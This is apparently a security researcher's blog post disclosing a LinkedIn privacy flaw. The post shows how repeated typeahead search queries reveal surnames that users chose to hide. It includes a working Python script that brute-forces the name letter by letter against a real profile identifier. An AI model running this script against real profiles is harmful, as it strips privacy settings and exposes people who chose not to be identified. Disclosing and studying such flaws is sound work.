Introduction
Quando siamo su LinkedIn potremmo voler tutelare la nostra privacy, ad esempio nascondendo la foto del profilo oppure il nostro cognome. LinkedIn permette di impostare il livello di privacy preferito, ad esempio mostrando il cognome puntato ("Francesco M." invece di "Francesco Marano"), ma da alcune ricerche che abbiamo condotto, questo meccanismo è facilmente bypassabile; vediamo come passo passo.
Technical Analysis
First, we need to log in to the platform and search for a person who has their last name hidden (it doesn’t matter whether or not they are one of our connections). Once we’ve found the right person, we click on the corresponding result to open their profile page. After it’s opened, LinkedIn will add that profile to the recently viewed profiles in order to suggest it more frequently in searches with matching results. This happens because if you’ve opened their profile once and you’re searching for their name again, LinkedIn assumes you’re probably looking for their profile again.
Let's take an example and search for the name "Federico." In my case, one of the top results was "Federico L.," with whom I am not connected (I hope he won't mind being used as a target). Now, marketing and LinkedIn already reveal Federico's last name, but let's pretend we don't know it and use that information to confirm the result we'll obtain later.
Once we've found the profile of interest, we need to keep track of the URN parameter found in the query string.
At this point, we perform a new search, this time looking for "Federico L," and based on the principle explained earlier, the profile of interest will most likely be the first result shown in the search preview. Notice the clock icon to the left of the name, indicating that it’s a result we had already viewed before.
The HTTP request that occurs when performing searches of this kind is a GraphQL query to the address https://www.linkedin.com/voyager/api/graphql?variables=(query:{query})&queryId=voyagerSearchDashTypeahead.5d388aa0c61a43e1dcd14aaa52fe062c, which returns the list of URNs (i.e., user profiles) that match the profile we are searching for.
By repeating the request, for example searching for "Federico La," we will not get the previous profile in the list of results.
By simply iterating through all the letters and checking for the presence of the URN of interest in the list of results, we can identify the letters of the last name one by one, until it is fully reconstructed.
Automating the attack
The entire process can be easily automated with a simple Python script.
import requests
import sys
HEADERS = {
'accept': 'application/vnd.linkedin.normalized+json+2.1',
'cookie': '### REDACTED ###',
'csrf-token': 'ajax:7813290292652230832',
'priority': 'u=1, i',
'referer': 'https://www.linkedin.com/feed/',
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
'x-li-lang': 'it_IT',
'x-li-page-instance': 'urn:li:page:d_flagship3_feed;ZtLPc4JhSqWjVGbStfmjgA==',
'x-li-pem-metadata': 'Voyager - Search Typeahead Page=global-search-typeahead-result',
'x-restli-protocol-version': '2.0.0'
}
BASE_URL = 'https://www.linkedin.com/voyager/api/graphql?variables=(query:{query})&queryId=voyagerSearchDashTypeahead.5d388aa0c61a43e1dcd14aaa52fe062c'
def search_entity(entity_urn, current_query=''):
for letter in "aeioubcdfghjklmnpqrstvwxyz '":
query = current_query + letter
url = BASE_URL.format(query=query)
response = requests.get(url, headers=HEADERS)
if response.status_code != 200:
print(f"HTTP error: {response.status_code}")
sys.exit(1)
data = response.json()
entity_urns = [item['entityUrn'] for item in data.get('included', []) if 'entityUrn' in item]
if entity_urn in entity_urns:
print(f"Found '{entity_urn}' using query: {query}")
return search_entity(entity_urn, query)
return current_query
entity_urn = "urn:li:fsd_profile:ACoAACeF5iwBINyMRxJJvABRhqFym2gfD6azcpQ"
result_query = search_entity(entity_urn, "federico l")
if result_query:
print(f"Final query including the specified URN: {result_query}")
else:
print("EntityUrn not found.")By running the script, we can reveal the last name of any person, as long as we know the URN corresponding to their profile.
Conclusions
The vulnerability was reported to the LinkedIn team, who stated that they have been aware of it… for about 2 years. It is therefore likely that this vulnerability will not be fixed in order to avoid impacting the UX during search operations.
For this reason, if we don't want certain information to be disclosed, the best strategy is not to enter that information at all. For example, we can use only the initial as the last name, or enter a fictitious last name that starts with the same initial.








